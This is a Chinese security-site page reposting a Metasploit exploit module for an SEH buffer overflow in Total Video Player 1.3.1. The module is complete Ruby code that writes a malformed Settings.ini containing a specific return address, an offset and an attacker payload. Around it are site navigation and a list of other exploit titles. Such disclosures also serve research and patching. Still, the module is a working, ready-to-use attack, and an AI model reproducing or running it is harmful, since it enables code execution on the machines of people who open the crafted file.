首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow
来源:metasploit.com 作者:Fr330wn4g3 发布时间:2014-03-03  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh
  
  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow',
      'Description'  => %q{
        This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability
        occurs opening malformed Settings.ini file e.g."C:\Program Files\Total Video Player\".
        This module has been tested successfully over Windows WinXp-Sp3-EN, Windows 7, Windows 8.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Mike Czumak',                         # (T_v3rn1x) -- @SecuritySift 
          'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
        ],
      'References'  =>
        [
          [ 'OSVDB', '100619' ],
          [ 'EDB', '29799' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0a\x0d\xff",
          'Space' => 1787,
          'DisableNops' => true,
        },
  
      'Targets'    =>
        [
          [ 'Windows Universal',
            {
              'Ret'     =>  0x10012848, # pop ebx # pop ecx # ret  - hskin.dll
              'Offset'  =>  256
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Nov 24 2013',
      'DefaultTarget'  => 0))
  
    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),], self.class)
  
  end
  
  def exploit
  
    buffer = "[Support Groups]\r\nVideo="
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_payload(target.ret)
    buffer << payload.encoded 
    buffer << "\r\n[AssociateType]\r\nAssociateType =1"
  
    file_create(buffer)
  
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VCDGEAR 3.50 Stack Buffer Over
·GE Proficy CIMPLICITY gefebt.e
·Music AlarmClock 2.1.0 - (.m3u
·Kloxo Remote Root Exploit
·GoldMP4Player 3.3 - Buffer Ove
·GoldMP4Player Buffer Overflow
·VCDGear 3.50 (.cue) - Stack Bu
·GoAhead Web Server 3.1.x - Den
·ALLPlayer 5.8.1 - (.m3u file)
·Symantec Endpoint Protection M
·MantisBT Admin SQL Injection A
·Python socket.recvfrom_into()
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved